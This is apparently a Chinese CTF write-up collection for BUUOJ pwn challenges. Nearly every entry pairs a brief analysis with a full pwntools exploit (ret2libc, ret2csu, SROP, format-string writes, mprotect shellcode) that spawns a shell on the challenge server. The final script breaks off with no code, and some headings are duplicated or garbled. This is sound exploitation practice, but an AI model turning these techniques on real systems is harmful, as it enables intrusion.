Stack

pwn1

  • checksec什么保护都没开,到程序里发现有个fun函数可以调用shell,那我们直接覆盖rip指向这里就可以了

EXP

1
2
3
4
5
6
7
8
9
from pwn import *
#sh = process("./pwn1")
sh = remote("node3.buuoj.cn",29918)
payload = "a"*23
payload +=p64(0x0000000000401198)+p64(0x0000000000401186)
#sh.recvuntil("put\n")
sleep(2)
sh.sendline(payload)
sh.interactive()

这里有点不太明白,为什么直接将rip指向0x401186就不可以

warmup_csaw_2016

  • 和上一个类似程序中有个sub_40060d的函数可以直接查看flag,控制eip指向这个函数即可

EXP

1
2
3
4
5
6
7
8
from pwn import *
sh = process("./warmup_csaw_2016")
sh = remote("node3.buuoj.cn",27439)
payload = "a"*72
cat = 0x40060D
sleep(2)
sh.sendline(payload+p64(cat))
sh.interactive()

控制EIP指向代码段

pwn1_sctf_2016

  • IDA分析程序流程,发现程序只可以输入32个字符,而溢出点却要0x3c+4的大小

  • 在往下看,会发现如果用户输入“I”的话会被转换位“you”,也就是说一个“I”占三位,那么0x3c+4/3=21,只要输入21个“I”在加上随便一个字符串,就可以造成溢出。

  • 另外程序中有个get_flag函数可以直接返回flag,接下来只要控制EIP指向这个函数的地址即可

EXP

1
2
3
4
5
6
from pwn import *
sh = process("./pwn1_sctf_2016")
sh = remote("node3.buuoj.cn",25401)
payload = "I"*21+"a"+p32(0x08048F0D)
sh.sendline(payload)
sh.interactive()

要先绕过字符转换机制

ciscn_2019_n_1

  • 简单的数据覆盖,可以看到v2距离用户输入的v1变量只差0x2c的距离,填充这个距离然后跟上11.28125即可

  • 需要注意一点的是我们不能直接发送11.28125,可以在IDA里先看一下源程序是怎么表达这个浮点数的

EXP

1
2
3
4
5
6
7
from pwn import *
sh = process("./ciscn_2019_n_1")
sh = remote("node3.buuoj.cn",27561)
payload = "a"*(0x2c)+p64(0x41348000)
sleep(1)
sh.sendline(payload)
sh.interactive()

数据覆盖

ciscn_2019_c_1

  • 打开IDA分析源程序可以看到溢出点在encrypt函数的get(s)这里。

  • 而传进来的字符串会被分别异或运算一下,但是会被strlen(s)控制是否异或,可以直接拿\x00截断strlen获取的长度

  • 接下来就是直接利用puts函数来泄露libc地址,使用libc中的system获取shell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
sh = process("./ciscn_2019_c_1")
sh = remote("node3.buuoj.cn",26460)
elf = ELF("./ciscn_2019_c_1")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")
context.terminal = ['tmux',"splitw","h"]
context.log_level = 'debug'

rdi_ret = 0x400c83
ret = 0x4006b9
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols['main']

rdi_ret = 0x0000000000400c83
ret = 0x4006b9
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols['main']
padding = "a"+'\x00'+86*"b"
#padding = 88*"b"
payload = padding
payload += p64(rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

sh.recvuntil('Input your choice!')
sh.sendline('1')
sh.recvuntil("Input your Plaintext to be encrypted")
gdb.attach(sh)
sh.sendline(payload)
#数据接收这里也是踩了好多的坑才接受到,还要多练习
puts_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('puts_addr = ' + hex(puts_addr))
base_addr = puts_addr - libc.sym['puts']
log.success('base_addr = ' + hex(base_addr))
system_addr = base_addr + libc.sym['system']
binsh_addr = base_addr + libc.search("/bin/sh\x00").next()

payload = padding
payload += p64(ret) #因为远程服务器版本的问题,这里要填上ret来保持栈平衡
payload += p64(rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(main_addr)
sh.recvuntil('Input your choice!')
sh.sendline('1')
sh.recvuntil("Input your Plaintext to be encrypted")
#gdb.attach(sh)
sh.sendline(payload)
sh.interactive()

\x00截断strlen(),以及不同环境的栈对齐

babyrop

  • IDA一步步分析可以看到是先生成了一个随机数传到buf上,之后进入sub_804871F并将buf带入函数中传给s,读取用户输入到buf上


  • 接着获取用户输入的长度传给v1,然后使用strncmp来与s比较v1位。如果相同则将v5返回给v2,并带入sub_80487d0中,而该函数中的用户数入的大小,则可以由前面的v2决定的。

  • 那么整体思路便是先用\x00来截断strncmp的比较,然后跟上较大的值如\xff,当程序到sub_80487d0函数中时,就可以构造ROP链进行溢出了

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context.log_level='debug'
sh = process("./babyrop")
sh = remote("node3.buuoj.cn",27886)
elf = ELF("./babyrop")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc = ELF("./libc6-i386_2.23-0ubuntu11_amd64.so")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
start_addr = 0x080485A0
sleep(1)
sh.sendline("\x00"+"\xff\xff\xff\xff\xff\xff\xff")
sleep(1)
payload = "a"*(0xe7+4)
payload += p32(puts_plt)+p32(start_addr)+p32(puts_got)
#sh.recvuntil("Correct\n")
sh.sendline(payload)

sh.recvline()
puts_addr = u32(sh.recv(4))
success("puts:0x%x",puts_addr)
base_addr = puts_addr - libc.sym["puts"]
success("base:0x%x",base_addr)
system = base_addr + libc.sym["system"]
binsh = base_addr + libc.search("/bin/sh").next()
sh.recvline()
sh.sendline("\x00"+"\xff\xff\xff\xff\xff\xff\xff")
sleep(1)
payload = "a"*(0xe7+4)
payload += p32(system)+p32(start_addr)+p32(binsh)
#sh.recvuntil("Correct\n")

sh.sendline(payload)
sh.interactive()

\x00截断strncmp()

ciscn_2019_en_2

  • 和ciscn_2019_c_1一样

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

sh = process("./ciscn_2019_en_2")
sh = remote("node3.buuoj.cn",25303)
elf = ELF("./ciscn_2019_en_2")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")
context.terminal = ['tmux',"splitw","h"]
context.log_level = 'debug'

rdi_ret = 0x0000000000400c83
ret = 0x4006b9
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols['main']
padding = "a"+'\x00'+86*"b"
#padding = 88*"b"
payload = padding
payload += p64(rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

sh.recvuntil('Input your choice!')
sh.sendline('1')
sh.recvuntil("Input your Plaintext to be encrypted")
#gdb.attach(sh)
sh.sendline(payload)

puts_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('puts_addr = ' + hex(puts_addr))
base_addr = puts_addr - libc.sym['puts']
log.success('base_addr = ' + hex(base_addr))
system_addr = base_addr + libc.sym['system']
binsh_addr = base_addr + libc.search("/bin/sh\x00").next()

payload = padding
payload += p64(ret)
payload += p64(rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(main_addr)
sh.recvuntil('Input your choice!')
sh.sendline('1')
sh.recvuntil("Input your Plaintext to be encrypted")
#gdb.attach(sh)
sh.sendline(payload)
sh.interactive()

get_started_3dsctf_2016

  • 可以直接控制EIP返回到get_flag函数,然后传入参数1和参数2。或者直接控制EIP指向fopen(“flag.txt”,”rt”)处*0x080489b8*

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux","splitw","-h"]
sh = process("./get_started_3dsctf_2016")
sh = remote("node3.buuoj.cn",26384)
elf = ELF("./get_started_3dsctf_2016")
a1 = 814536271
a2 = 425138641
get_flag = elf.sym["get_flag"]
main = elf.sym["main"]
openf = elf.sym["fopen"]
padding = 56*"a"
payload = padding+p32(get_flag)+p32(0x08048196)+p32(main)+p32(a1)+p32(a2)
#payload = padding + p32(0x080489b8)
#sh.recvuntil("Qual a palavrinha magica? ")
gdb.attach(sh)
sh.sendline(payload)
#sh.recv()[26:]
sh.interactive()

控制EIP指向某函数传值。但是在打远程的时候出了点问题,暂时找不到解决的办法

[第五空间2019决赛] pwn5

  • checksec查看程序保护,开启了canary,到IDA搜索一下未格式化的字符串,果然有

  • 点进去仔细看程序结构,先是生成了一个随机数到unk_804c044,然后读取name到buf,读取passwd到nptr,最后拿nptr和先前生成的随机数判断是否相同。

  • 那么就可以在输入name时构造格式化字符串任意地址写漏洞,将1写进去,然后再输入passwd时,传入1即可

EXP

1
2
3
4
5
6
7
8
9
from pwn import *
sh = process("./pwn5")
sh = remote("node3.buuoj.cn",28799)
sleep(1)
payload = fmtstr_payload(10,{0x804C044:0x1})
sh.sendline(payload)
sh.recvuntil("passwd:")
sh.sendline("1")
sh.interactive()

格式化字符串漏洞,任意地址写

ciscn_2019_n_8

  • 很简单,IDA分析,var的第13位为17即可,而var的类型又是qword占4字节,所以可以用P32()来直接填充

EXP

1
2
3
4
5
6
7
from pwn import *
sh = process("./ciscn_2019_n_8")
sh = remote("node3.buuoj.cn",28898)
sleep(1)
payload = p32(17)*14
sh.sendline(payload)
sh.interactive()

填充QWORD类型的数据

ciscn_2019_s_3

  • 利用SROP技术

  • 因为程序中自带write函数,可以输出栈的地址,那么就只用接收一下这个地址,然后以该地址-read参数在栈中的偏移量就可以得出binsh的地址了。(具体偏移量在gdb中调试)

  • 然后利用SigreturnFrame()框架来伪造Signal Frame,最后形成syscall(0x3b,"/bin/sh",0,0)的一条系统调用指令

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding: utf-8 -*-
from pwn import *

context(arch='amd64',os='linux',log_level='debug',terminal=["tmux","splitw","-h"])
sh = process('./ciscn_s_3')
#p = remote('node3.buuoj.cn',29246)
sigreturn = 0x4004DA #sigreturn,在程序中gadgets函数中找到
read_write = 0x4004F1 #第一次溢出时返回到此处,以便接收后续的输入
syscall = 0x400517 #syscall;ret 地址

payload = '/bin/sh\x00' + 'a'*0x8 + p64(read_write)
sh.send(payload)
sh_addr = u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))- 0x118
log.success('stack_addr: ' + hex(sh_addr+0x118))

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh_addr
frame.rsi = 0
frame.rdx = 0
frame.rsp = sh_addr-0x118
frame.rip = syscall

payload = 'a'*0x10+p64(sigreturn)+p64(syscall)+str(frame)
sh.send(payload)
sh.interactive()

not_the_same_3dsctf_2016

  • 第一次溢出先控制程序跳转至该函数,使flag.txt的值传到fl4g

  • 再次溢出,使用程序内已有的write函数,读取fl4g中的flag

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.terminal=["tmux","splitw","-h"]
context.log_level="debug"
sh=process("./not_the_same_3dsctf_2016")
sh=remote("node3.buuoj.cn",29401)
elf = ELF("./not_the_same_3dsctf_2016")
get_shell = elf.sym["get_secret"]
write = elf.sym['write']
main = elf.sym['main']
payload = "a"*45
payload += p32(get_shell)+p32(main)
sleep(1)
#gdb.attach(sh)
sh.sendline(payload)
sleep(1)
payload = "a"*45
payload += p32(write)+p32(main)+p32(1)+p32(0x80eca2d)+p32(45)
sh.sendline(payload)
sh.interactive()

控制程序读取flag.txt,利用write函数再读取

[HarekazeCTF]babyrop

  • 就是一个简单的64位rop,system函数和binsh字符串再程序中都有,再找一下pop rdi;ret代码段即可

  • 另外就是flag文件居然没有再跟目录下,使用find / -name flag查找一下就可以了

EXP

1
2
3
4
5
6
7
8
9
10
from pwn import *
sh=process("./babyrop_harekazeCTF")
sh = remote("node3.buuoj.cn",29606)
elf = ELF("./babyrop_harekazeCTF")
system = elf.sym["system"]
binsh = 0x0000000000601048 #ROPgadget --binary ./babyrop_harekazeCTF --string "/bin/sh"
rdi_ret = 0x0000000000400683
payload = "a"*24+p64(rdi_ret)+p64(binsh)+p64(system)+p64(system)
sh.sendline(payload)
sh.interactive()

[HarekazeCTF]babyrop2

  • 和babyrop基本一致,只是程序中没有了system和binsh。但是给出了libc版本,并且程序中有printf函数,拿来泄露基地址,最后利用libc中的system即可返回shell。

  • 起初我泄露的是printf的got表,但是只在本地有效,远程完全无法泄露,而read却可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.log_level='debug'
context.terminal = ["tmux","splitw","-h"]
sh=process("./babyrop2_harekazeCTF")
sh = remote("node3.buuoj.cn",28808)
elf = ELF("./babyrop2_harekazeCTF")
libc = ELF("libc/libc.so.6")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
printf_plt = elf.plt["printf"]
read_got = elf.got["read"]
main = elf.sym["main"]
rdi_ret = 0x0000000000400733
payload = "a"*40
payload +=p64(rdi_ret)+p64(read_got)+p64(printf_plt)+p64(main)
sh.sendlineafter("? ",payload)
base_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym["read"]
success("base_addr:0x%x",base_addr)

system = base_addr+libc.sym["system"]
binsh = base_addr+libc.search("/bin/sh").next()
payload = "b"*40
payload += p64(rdi_ret)+p64(binsh)+p64(system)+p64(main)
sh.sendline(payload)
sh.interactive()

使用printf函数泄露read函数的got表,但不可以泄露printf的got表

[铁三第五赛区]2018_rop

  • 简单的泄露libc

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
sh =process("./tie3_2018_rop")
sh = remote("node3.buuoj.cn",25832)
elf = ELF("./tie3_2018_rop")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc = ELF("libc/libc6-i386_2.27-3ubuntu1_amd64 (1).so")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main = 0x080484C6

payload = "a"*140+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
sh.sendline(payload)
write = u32(sh.recv(4))

base = write-libc.sym["write"]
success("wrtie:0x%x",write)
success("base:0x%x",base)
sleep(1)
system = base+libc.sym["system"]
binsh = base+libc.search("/bin/sh").next()
payload = "a"*140+p32(system)+p32(main)+p32(binsh)
sh.sendline(payload)
sh.interactive()

bjdctf_2020_babystack

  • 第一次输入一个数值,该数值作为下一次输入的长度

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
#coding:utf-8
from pwn import *

#sh = process("./bjdctf_2020_babystack")
sh = remote("node3.buuoj.cn",29848)
payload = "a"*24
payload += p64(0x00000000004006E6)

sh.recvuntil("[+]Please input the length of your name:")
sh.sendline("300")
sh.recvuntil("[+]What's u name?")
sh.sendline(payload)
sh.interactive()

bjdctf_2020_babyrop

  • 简单的ret2libc 随便泄露个函数地址即可

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#coding:utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
sh = process("./bjdctf_2020_babyrop")
elf = ELF("./bjdctf_2020_babyrop")
libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6_2.23-0ubuntu10_amd64/libc.so.6")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.sym["main"]
rdi_ret = 0x0000000000400733
sh = remote("node3.buuoj.cn",28316)
payload1 = "a"*40
payload1 += p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
sh.recvuntil("story!\n")
sh.sendline(payload1)
puts = u64(sh.recvuntil('\x7f')[-6:].ljust(8,"\x00"))
success("puts_addr:0x%x",puts)
base_addr = puts-libc.symbols["puts"]
success("base_addr:0x%x",base_addr)
system = libc.sym["system"]+base_addr
binsh = libc.search("/bin/sh\x00").next()+base_addr
payload2 = "a"*40+p64(rdi_ret)+p64(binsh)+p64(system)+p64(main)
sh.recvuntil("story!\n")
sh.sendline(payload2)
sh.interactive()

jarvisoj_level0

  • 算是ret2text 程序内可以直接找到system(“/bin/sh”)的代码片段,返回到这里即可

EXP

1
2
3
4
5
6
7
8
9
from pwn import *
sh = process("./jarvisoj_level0")
sh = remote("node3.buuoj.cn",27530)
binsh = 0x000000000040059A

payload = "a"*0x88+p64(binsh)

sh.sendline(payload)
sh.interactive()

jarvisoj_level1

  • 考shellcode的一道题,需要先用recvuntil来接收buf的地址

EXP

1
2
3
4
5
6
7
8
9
10
11
12
#coding:utf-8
from pwn import *
sh = process("./jarvisoj_level1")
#sh = remote("node3.buuoj.cn",26460)
#sh.sendline("aaa")
buf = int(sh.recvuntil("?\n")[-10:-2],16)
shellcode = asm(shellcraft.sh())+"\x00"
print hex(buf)
print shellcode
payload = shellcode.ljust(140,"a")+p32(buf)
sh.sendline(payload)
sh.interactive()

另外不清楚为什么本地和远程的题目不一样…..也就是说我拿不了flag…..

image-20200326230514660

jarvisoj_level2

  • 这次没有直接的system("/bin/sh")这样完整的代码片段了,但是可以拼接一下
  • 用ROPgadget再程序中搜索/bin/sh字符串 然后再利用再IDA中找到的call system的地址

EXP

1
2
3
4
5
6
7
8
9
from pwn import *
sh = process("./jarvisoj_level2")
sh = remote("node3.buuoj.cn",26529)
binsh = 0x0804a024
system = 0x0804849E
payload = "a"*0x88+p32(system)+p32(system)+p32(binsh)
sh.recvuntil("Input:\n")
sh.sendline(payload)
sh.interactive()

##jarvisoj_level2_x64

  • 64位的版本,需要有一个pop rdi;ret片段来保持栈平衡

EXP

1
2
3
4
5
6
7
8
9
10
from pwn import *
sh = process("./jarvisoj_level2_x64")
sh = remote("node3.buuoj.cn",25463)
binsh = 0x0000000000600a90
system = 0x000000000040063E
rdi_ret = 0x00000000004006b3
payload = "a"*0x88+p64(rdi_ret)+p64(binsh)+p64(system)+p64(system)
sh.recvuntil("Input:\n")
sh.sendline(payload)
sh.interactive()

jarvisoj_fm

  • 题目很明显 格式化字符串漏洞
1
2
3
4
5
6
7
8
#coding:utf-8
from pwn import *
sh = process('./fm')
sh = remote("node3.buuoj.cn",28272)
x = 0x0804A02C
payload = fmtstr_payload(11,{x:0x4})
sh.sendline(payload)
sh.interactive()

jarvisoj_level3

  • 还是ret2libc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#coding:utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
sh = process("./level3")
elf = ELF("./level3")
libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6-i386_2.23-0ubuntu10_amd64/libc.so.6")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main = elf.sym["main"]
sh = remote("node3.buuoj.cn",29644)
payload1 = "a"*140
payload1 += p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)

sh.recvuntil("Input:\n")
sh.sendline(payload1)
write = u32(sh.recvuntil('\xf7')[-4:])
success("write_addr:0x%x",write)
base_addr = write-libc.symbols["write"]
success("base_addr:0x%x",base_addr)
system = libc.sym["system"]+base_addr
binsh = libc.search("/bin/sh\x00").next()+base_addr
payload2 = "a"*140+p32(system)+p32(system)+p32(binsh)
sh.recvuntil("Input:\n")
sh.sendline(payload2)

sh.interactive()

jarvisoj_levle3_x64

  • 程序中只有write,如果想要泄露函数的地址的话,也就必须要凑齐rdi\rsi\rdx三个代码片段
  • 但是程序中并没有找到,但是可以使用ret2csu的办法来泄露函数地址
  • 需要注意一点的是,ret2csu 第一段gadgets的顺序

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#coding:utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
sh = process("./jarvisoj_level3_x64")
elf = ELF("./jarvisoj_level3_x64")
libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6_2.23-0ubuntu10_amd64/libc.so.6")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main = elf.sym["main"]
sh = remote("node3.buuoj.cn",26767)

gadget1 = 0x00000000004006A6
gadget2 = 0x0000000000400690

def csu(r12,r13,r14,r15,ret_addr):
payload = "a"*0x88
payload += p64(gadget1)
payload += 'b'*8
payload += p64(0)
payload += p64(1)
payload += p64(r12)
payload += p64(r15)#参数3
payload += p64(r14)#参数2
payload += p64(r13)#参数1
payload += p64(gadget2)
payload += 'c' * 0x38
payload += p64(ret_addr)
sh.sendline(payload)
sh.recvuntil("Input:\n")
csu(write_got,1,write_got,8,main)

write_addr=u64(sh.recv(8))

print hex(write_addr)
offset_addr = write_addr-libc.symbols['write']
print hex(offset_addr)
execve_addr = offset_addr + libc.symbols['execve']
print hex(execve_addr)

read_addr = elf.got['read']
bss_addr = elf.bss()
csu(read_addr,0,bss_addr,16,main)

sh.recvuntil("Input:\n")
sh.send(p64(execve_addr)+'/bin/sh\x00')

print "bss_addr:",hex(bss_addr)

sh.recvuntil("Input:\n")
csu(bss_addr,bss_addr+8,0,0,main)
sh.interactive()

jarvisoj_level4

  • level3基本一样
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#coding:utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
sh = process("./jarvisoj_level4")
elf = ELF("./jarvisoj_level4")
libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6-i386_2.23-0ubuntu10_amd64/libc.so.6")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main = elf.sym["main"]
sh = remote("node3.buuoj.cn",25463)
payload1 = "a"*140
payload1 += p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)


sh.sendline(payload1)
write = u32(sh.recvuntil('\xf7')[-4:])
success("write_addr:0x%x",write)
base_addr = write-libc.symbols["write"]
success("base_addr:0x%x",base_addr)
system = libc.sym["system"]+base_addr
binsh = libc.search("/bin/sh\x00").next()+base_addr
payload2 = "a"*140+p32(system)+p32(system)+p32(binsh)
sleep(1)
sh.sendline(payload2)

sh.interactive()

jarvisoj_memonr

  • 直接跳转到system的plt地址,cat flag的地址程序也直接给出来了
1
2
3
4
5
6
7
8
#coding:utf-8
from pwn import *
sh = process("./jarvisoj_memory")
sh = remote("node3.buuoj.cn",26542)
payload = (0x13+4)*"a"
payload += p32(0x08048440)+p32(0x08048440)+p32(0x80487e0)
sh.sendline(payload)
sh.interactive()

jarvisoj_memonr

  • 还是ret2csu的办法一把梭

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#coding:utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
#sh = process("./jarvisoj_level5")
elf = ELF("./jarvisoj_level5")
libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6_2.23-0ubuntu10_amd64/libc.so.6")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main = elf.sym["main"]
sh = remote("node3.buuoj.cn",26305)


gadget1 = 0x00000000004006A6
gadget2 = 0x0000000000400690
def csu(r12,r13,r14,r15,ret_addr):
payload = "a"*0x88
payload += p64(gadget1)
payload += 'b'*8
payload += p64(0)
payload += p64(1)
payload += p64(r12)
payload += p64(r15)#参数1
payload += p64(r14)#参数2
payload += p64(r13)#参数3
payload += p64(gadget2)
payload += 'c' * 0x38
payload += p64(ret_addr)
sh.sendline(payload)
sh.recvuntil("Input:\n")
csu(write_got,1,write_got,8,main)

write_addr=u64(sh.recv(8))

print hex(write_addr)
offset_addr = write_addr-libc.symbols['write']
print hex(offset_addr)
execve_addr = offset_addr + libc.symbols['execve']
print hex(execve_addr)

read_addr = elf.got['read']
bss_addr = elf.bss()
csu(read_addr,0,bss_addr,16,main)

sh.recvuntil("Input:\n")
#gdb.attach(sh)
sh.send(p64(execve_addr)+'/bin/sh\x00')

print "bss_addr:",hex(bss_addr)

sh.recvuntil("Input:\n")
csu(bss_addr,bss_addr+8,0,0,main)
sh.interactive()

PicoCTF_2018_rop_chain

  • 看题目是让构造ROP链,把程序放到IDA中分析
  • 得出构造rop链的思路为:win_function1->win_function2->0x0BAAAAAAD->flag->0x0DEADBAAD

EXP

1
2
3
4
5
6
7
8
from pwn import *

sh = process("./PicoCTF_2018_rop_chain")
sh = remote("node3.buuoj.cn",29030)
elf = ELF("./PicoCTF_2018_rop_chain")
payload = "a"*(0x18+4)+p32(elf.sym["win_function1"])+p32(elf.sym["win_function2"])+p32(elf.sym["flag"])+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
sh.sendline(payload)
sh.interactive()

PicoCTF_2018_buffer_overflow0

  • 感觉这道题很有意思,是让运行程序时带上参数然后构成溢出

  • 而argv1这个参数的值会被传给&dest,在这个过程产生了漏洞,而程序刚开始就已经将flag的值读取到了flag这个变量中,我们只需要让程序构成溢出,然后指向flag这个变量的地址即可

EXP

1
./vuln aaaabaaacaaadaaaeaaafaaagaaa\x80\xa0\x04

wustctf2020_closed

  • 用命令exec 1>&0stdout重定向到stdin就返回shell了。

EXP

1
2
3
4
from pwn import*
p = remote("node3.buuoj.cn",28568)
p.sendline("exec 1>&0")
p.interactive()

wustctf2020_getshell_2

  • 相比于getshell,该题的binsh字符串被打乱了

  • 不过可以直接用ROPgadgets来搜索sh字符串,system("sh")也可以返回shell

  • 然后就是buf空间的问题,28个字符后才可以控制程序执行,而buf缺只能输入36个字符

  • 也就是说除去28个填充字符外,只可以再传入8位。

    此时可以直接找一下程序中已有的代码段call system然后再加上sh刚好8位

1
2
3
4
5
6
7
8
from pwn import*
sh = process('./wustctf2020_getshell_2')
sh = remote("node3.buuoj.cn",28459)
#elf = ELF('./wustctf2020_getshell_2')
system_call = 0x08048529
payload = 'a'*28 + p32(system_call)+p32(0x08048670)
sh.sendline(payload)
sh.interactive()

get_sta、rted_3dsctf_2016

可以看到只开启了nx保护

这里有两个常见的方法来获取flag

方法1:

使用程序中已有的get_flag函数来读取flag

  1. 使用ida查看伪代码可以看到这个get_flag函数要求传入的两个参数必须为814536271425138641即可直接读取flag

    1. 这里需要注意一点,构造payload时返回地址不可以随便填写,因为在打远程时导致程序异常是不会给回显的,想要看到flag必须先要让程序正常退出,这里使用exit函数
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    #coding:utf-8
    from pwn import *
    context.log_level = 'debug'
    context.terminal = ["tmux","splitw","-h"]
    #sh = process("./get_started_3dsctf_2016")
    sh = remote("node3.buuoj.cn",26236)
    elf = ELF("./get_started_3dsctf_2016")
    a1 = 814536271
    a2 = 425138641
    get_flag = elf.sym["get_flag"]
    main = elf.sym["exit"]
    padding = 56*"a"
    payload = padding+p32(get_flag)+p32(main)+p32(a1)+p32(a2)
    #gdb.attach(sh)
    sleep(1)
    sh.sendline(payload)
    sh.interactive()

方法2:

使用mprotect函数修改bss段权限来执行shellcode

  1. 使用gdb中的vmmap先来看一下bss段的权限

  2. 确定好溢出位后payload布局如下

    mprotect函数+pop *;ret+参数1\2\3+返回地址[read函数]+pop *;ret+参数1\2\3+返回地址[shellcode_addr]

    也就是先使用mprotect来修改指定bss段地址的权限,在利用pop esi;pop edi;pop ebp;ret来返回到指定地址如read函数上以读取shellcode到以修改权限的bss段地址上,最后再次利用pop esi;pop edi;pop ebp;ret片段返回到shellcode的位置上即可。

  3. EXP

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    from pwn import *
    p=process('./get_started_3dsctf_2016')
    #p=remote('node3.buuoj.cn',28216)
    elf=ELF('./get_started_3dsctf_2016')
    context.terminal = ["tmux","splitw","-h"]
    context.log_level = "debug"
    bss_addr = 0x80eb000
    shellcode_addr = 0x080EB500
    pop_3_ret=0x080483b8 #pop esi;pop edi;pop ebp;ret
    payload='a'*0x38
    payload += p32(elf.symbols['mprotect'])
    payload += p32(pop_3_ret)
    payload += p32(bss_addr)
    payload += p32(0x1000)
    payload += p32(0x7)
    payload += p32(elf.symbols['read'])
    payload += p32(pop_3_ret)
    payload += p32(0)
    payload += p32(shellcode_addr)
    payload += p32(0x100)
    payload += p32(shellcode_addr)

    p.sendline(payload)
    sleep(1)
    payload=asm(shellcraft.sh())
    #gdb.attach(p)
    p.sendline(payload)
    p.interactive()

pwn2_sctf_2016

程序分析

没有栈保护没有PIE

简单分析伪代码可以得知,第一次输入的内容必须小于32,

但在后面的再次输入中,必须大于44才能进行溢出,这里就要绕过v2>32的这个判断

而在get_n函数中,我们可以发现传入的参数a2是个无符号类型的整数,而这恰好可以通过整形溢出来就行绕过,我们可以输入-1,继续运行程序可以看到此时便输入很多的数据对程序进行溢出了。

利用思路

  • 通过整形溢出绕过大小的限制

  • 之后通过程序中的printf函数对printf函数地址进行泄露

    (其中要注意printf函数中需要有一个格式化字符的参数,这个可以拿程序中的13行printf时的格式化字符进行直接利用)

  • 当泄露出printf的地址后,算出libc的基地址,进而加载system和binsh的地址,最后再次溢出即可getshell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
